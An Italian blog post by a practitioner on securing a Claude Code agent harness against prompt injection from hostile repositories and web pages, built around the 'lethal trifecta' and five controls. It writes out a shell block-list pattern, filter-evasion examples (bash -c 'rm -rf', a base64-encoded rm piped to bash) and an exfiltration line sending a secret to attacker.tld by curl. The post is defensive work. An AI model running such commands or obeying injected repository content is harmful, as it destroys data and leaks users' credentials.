Difendere una harness Claude Code in produzione: il modello di sicurezza che uso davvero
Mettere un agente di coding in produzione, e con "produzione" intendo lasciarlo lavorare ogni giorno su decine di codebase reali, significa concedergli tre cose che un'analisi di sicurezza seria non concede a cuor leggero a nessuno: una shell, l'accesso al filesystem e la vicinanza alle credenziali. Non è un'ipotesi paranoica, è il modello di minaccia documentato. A ottobre 2025 è stata pubblicata CVE-2025-59536, un difetto del trust dialog di Claude Code in cui il codice di un progetto veniva eseguito prima che l'utente accettasse il prompt di fiducia: bastava clonare un repository malevolo e aprirci l'agente per ottenere esecuzione di codice locale (advisory su NVD). A gennaio 2026 è arrivata CVE-2026-21852, in cui le impostazioni di un repository venivano applicate prima della conferma di trust, permettendo a un repo ostile di redirigere il traffico e catturare la API key Anthropic dell'utente (NVD). E nello stesso periodo i ricercatori di Forcepoint hanno catalogato, tra i payload di prompt injection nascosti in pagine web reali, istruzioni esplicite come sudo rm -rf in attesa che un agente le leggesse ed eseguisse. Uso questa harness ogni giorno, costruita sopra il mio framework open source gash, e in questo articolo trasformo il mio scaffolding personale in un case study difensivo replicabile.
Un agente con accesso alla shell non è un assistente, è un esecutore di codice guidato da input non fidato. Il modello mentale corretto non è "mi fido dell'AI", è "presumo che prima o poi leggerà qualcosa di ostile, e progetto perché quando accadrà non possa fare danni".
Il punto di partenza, e la ragione per cui il mio setup è strutturato così, è un framework concettuale che vale la pena attribuire a chi lo ha formulato: la lethal trifecta di Simon Willison (qui). Un agente diventa pericolosamente esfiltrabile quando combina tre capacità: accesso a dati privati, esposizione a contenuto non fidato, e possibilità di comunicare verso l'esterno. Un agente di coding le ha tutte e tre per costruzione: i tuoi repository e le tue credenziali sono i dati privati, ogni repo o pagina web che legge è il contenuto non fidato, e un semplice curl o git push è il canale di uscita. Le CVE qui sopra non sono altro che questa trifecta che si materializza. La difesa, di conseguenza, non è un singolo controllo: è recidere o presidiare ciascuna delle tre gambe.
Qual è davvero il modello di minaccia di un agente di coding?
È diverso da quello di un'applicazione web classica, e confonderli porta a difese inutili. In un'applicazione web l'attaccante è esterno e bussa dalla rete; qui l'input ostile arriva da dentro il flusso di lavoro legittimo: un repository che cloni per analizzarlo, un file di documentazione che l'agente legge per capire il progetto, una pagina web che gli chiedi di consultare. È esattamente il vettore di CVE-2025-59536: non un attacco di rete, ma "git clone più apri l'agente", che è il nuovo "apri l'allegato". L'attaccante non deve bucare il tuo perimetro, deve solo far sì che il tuo agente legga qualcosa che lui controlla.
Questo ribalta la logica difensiva. Non posso fidarmi del contenuto, perché il contenuto non fidato è la materia prima del lavoro. Non posso nemmeno fidarmi del modello, non per sfiducia verso Anthropic ma per principio: un sistema che esegue azioni a partire da testo arbitrario è, per definizione, manipolabile da quel testo. L'unica cosa di cui posso fidarmi è il perimetro che impongo io, a un livello sotto l'agente, dove le sue azioni vengono ispezionate e filtrate prima di toccare il sistema. È la differenza tra sperare che l'agente si comporti bene e garantire che, qualunque cosa decida, non possa varcare certi confini.
Se stai integrando agenti di coding nel tuo ciclo di sviluppo e vuoi impostarne il perimetro di sicurezza con criterio, nel mio hub dedicato all'AI per lo sviluppo raccolgo gli articoli con la metodologia che applico, dalla containment alla governance dei costi.
I cinque controlli, e la minaccia che ciascuno neutralizza
Il mio security model non è un firewall magico, è una manciata di controlli noiosi che lavorano insieme. Ognuno presidia una gamba della trifecta o una classe di abuso documentata. Li mappo qui, perché la cosa che conta non è la lista ma il legame tra controllo e minaccia.
| Controllo | Cosa neutralizza | Riferimento |
|---|---|---|
| Validatore dei comandi bash (hook) | Esecuzione di comandi distruttivi o di evasione | payload sudo rm -rf osservati in-the-wild (Forcepoint) |
Deny globale di rm -rf | Distruzione irreversibile del filesystem | difesa in profondità sopra il validatore |
| Env file in sola lettura | Lettura legittima, scrittura/esfiltrazione delle credenziali | CVE-2026-21852 (settings come canale di furto chiavi) |
| Blocco degli host non gestiti | Comunicazione verso l'esterno non autorizzata | gamba 3 della lethal trifecta |
| Perimetro via rules path-scoped | Azioni fuori dallo scope dichiarato | CVE-2025-59536 (esecuzione fuori dal confine di trust) |
Il primo e più importante è il validatore dei comandi bash, un hook che intercetta ogni comando shell prima che venga eseguito e lo blocca se corrisponde a pattern proibiti. Non è una allowlist statica di binari: è un'ispezione attiva della stringa di comando reale. La differenza è cruciale e la spiego tra poco. Nel mio scaffolding il validatore rifiuta le forme distruttive (rm -rf, rm -r, rm -f), riconosce i tentativi di raggiungere host gestiti per vie non autorizzate, e blocca le forme lunghe che aggirerebbero i wrapper sicuri. In pseudocodice, la logica è questa:
# Hook pre-esecuzione: ispeziona il comando, blocca i pattern pericolosi.
# Il match avviene OVUNQUE nella stringa, non solo all'inizio: questo ferma
# l'evasione tipo echo foo | ssh host oppure bash -c "rm -rf /"
case "$CMD" in
*"rm -rf"*|*"rm -r "*|*"rm -fr"*) block "distruttivo: rm ricorsivo" ;;
*" ssh "*|*" scp "*|*" rsync "*) require_routed_wrapper ;; # solo via wrapper gestiti
esacIl deny globale di rm -rf è il secondo strato, deliberatamente ridondante rispetto al validatore. Nel sistema di permessi dell'agente, le operazioni distruttive non sono in stato "chiedi conferma", sono in stato "nega", una distinzione che conta: una richiesta in "chiedi" può essere approvata sotto pressione o per distrazione, una in "nega" non è approvabile, punto. La difesa in profondità funziona proprio perché non si affida a un singolo controllo: se domani il validatore avesse un bug, il deny regge, e viceversa.
Il terzo controllo, gli env file in sola lettura, nasce direttamente da CVE-2026-21852. La lezione di quella vulnerabilità è netta: il file di configurazione di un repository è codice, e va trattato come tale. Nel mio setup l'agente può leggere i file .env, le configurazioni e i segreti quando gli servono come contesto, perché negargli la lettura lo renderebbe inutile su un progetto reale, ma non può scriverli, modificarli, né indirizzare traffico verso endpoint arbitrari a partire da essi. La credenziale resta un dato di sola lettura, mai una leva che un repo ostile possa azionare per redirigere o esfiltrare.
Il quarto, il blocco degli host non gestiti, recide la terza gamba della trifecta: la comunicazione verso l'esterno. L'agente non può aprire una connessione ssh, scp o rsync arbitraria; può raggiungere solo gli host esplicitamente censiti in una configurazione, e solo attraverso wrapper che validano l'alias e instradano la connessione. Un repo che provasse a far esfiltrare dati verso un server controllato dall'attaccante troverebbe la strada sbarrata a livello di shell, prima ancora che la richiesta parta.
Il quinto, il perimetro definito via rules path-scoped, è quello che dà all'agente un confine operativo dichiarato: quali directory sono in scope, quali strumenti sono ammessi per quale tipo di file, cosa è fuori perimetro. È la traduzione operativa della lezione di CVE-2025-59536: il trust boundary non è un prompt che clicchi una volta, è una proprietà strutturale del sistema, applicata a ogni azione.
Perché una allowlist statica non basta, e serve un validatore attivo
Qui sta il punto tecnico che separa una difesa vera da una di facciata, ed è dove il pensiero offensivo guadagna il suo posto. Il sistema di permessi di un agente tipicamente ragiona per pattern di comando: "consenti git status", "chiedi conferma per git push". È utile, ma è statico e ingannevole, perché un attaccante non scrive il comando proibito in chiaro. Lo nasconde. echo "comando" | ssh host non inizia con ssh. bash -c "rm -rf /tmp/x" non inizia con rm. eval "$(printf '...')" non contiene nessuna parola sospetta finché non viene espanso. Una allowlist che guarda solo il prefisso del comando è cieca a tutte queste forme di evasione.
Una difesa che controlla come inizia un comando è già aggirata da chiunque sappia che
bash -cesiste. Il controllo deve ispezionare la stringa per intero e cercare il pattern pericoloso ovunque si trovi, perché è esattamente dove l'evasione lo nasconde.
Per questo il mio validatore fa matching sull'intera stringa di comando, non sul prefisso, e blocca i tentativi di concatenazione e di indirezione (|, bash -c, eval) verso azioni vietate. Non è infallibile, nessun filtro lo è, ed è proprio per questo che non è l'unico strato: lavora sopra il deny globale, sopra la sola lettura dei segreti, sopra il blocco degli host. La sicurezza di una harness non è un muro, è una cipolla, e il valore di ogni strato è che copre i punti ciechi degli altri. Su come queste lezioni si traducano in scelte di architettura dell'agente ho scritto analizzando le otto lezioni dal leak dello scaffolding di Claude Code; sulla containment a livello di esecuzione, con container effimeri e seccomp, ho raccolto il pattern in sandboxing di un agente che esegue codice arbitrario; e sul workflow quotidiano di Claude Code in produzione per uno sviluppatore senior ho descritto il setup completo in Claude Code in produzione.
Come si collauda un perimetro del genere
Un controllo di sicurezza che non hai mai provato a rompere è una dichiarazione di intenti, non una difesa. La parte più istruttiva del lavoro, e quella che il mio background offensivo rende naturale, è attaccare la mia stessa harness con la mentalità di chi vuole farle eseguire qualcosa che non dovrebbe. È un esercizio che consiglio a chiunque metta un agente al lavoro, ed è semplice: prendi i pattern che credi di bloccare e prova a infilarli da una porta laterale.
Le forme di evasione da testare sono sempre le stesse e arrivano dritte dalla pratica offensiva. La concatenazione (comando_innocuo && comando_proibito), perché un filtro che guarda la prima parola la manca. L'indirezione tramite interprete (bash -c "...", sh -c "..."), che nasconde il comando vero dentro una stringa. La codifica (echo cm0gLXJmIC8K | base64 -d | bash), dove il payload pericoloso non è nemmeno leggibile finché non viene decodificato ed eseguito. L'uso di alias o variabili per ricostruire un comando proibito pezzo per pezzo. E il piping verso un canale di rete (cat segreto | curl -X POST attacker.tld), che è la trifecta al completo in una riga. Se il tuo validatore ferma il comando in chiaro ma lascia passare una di queste varianti, non ti stai difendendo, ti stai illudendo.
Il test giusto non è "il mio filtro blocca
rm -rf /?", è "il mio filtro bloccarm -rf /scritto in venti modi diversi?". La prima domanda la passa chiunque; è la seconda che separa una difesa reale da un placebo.
Quando questo esercizio diventa parte del ciclo, il perimetro smette di essere una congettura e diventa una proprietà verificata. Io lo rifaccio ogni volta che cambio il validatore o aggiungo una regola, perché ogni modifica può aprire un varco da un'altra parte, esattamente come accade con qualunque controllo di sicurezza non banale.
C'è un'ultima considerazione che voglio lasciare a chi sta valutando se e come mettere un agente di coding al lavoro su sistemi che contano. Lo spettro del rischio non è teorico: all'estremo alto c'è GTG-1002, il primo caso riportato di campagna di cyber-spionaggio in cui un agente di coding è stato usato come orchestratore autonomo contro decine di organizzazioni. Quel caso dimostra una cosa scomoda: lo stesso strumento che a me serve per difendere, in mano a un attaccante diventa un moltiplicatore offensivo a costo marginale zero. La conseguenza non è rinunciare allo strumento, che sarebbe arrendersi a chi non rinuncerà, è usarlo con un perimetro all'altezza della sua potenza. Il mio scaffolding non è speciale: è la traduzione disciplinata di principi noti, validatore attivo, difesa in profondità, least privilege sui segreti, recisione del canale di esfiltrazione e confini di scope espliciti. È replicabile, ed è il minimo sindacale per chi dà a un'AI le chiavi della propria shell. Se vuoi una valutazione del perimetro di sicurezza con cui esegui agenti di coding sulla tua infrastruttura, fatta con la mentalità di chi quei sistemi li attacca per mestiere, puoi usare il modulo di preventivo gratuito: sette domande, due minuti, e ti dico se il tuo caso rientra nel mio perimetro o se ti conviene un'altra figura.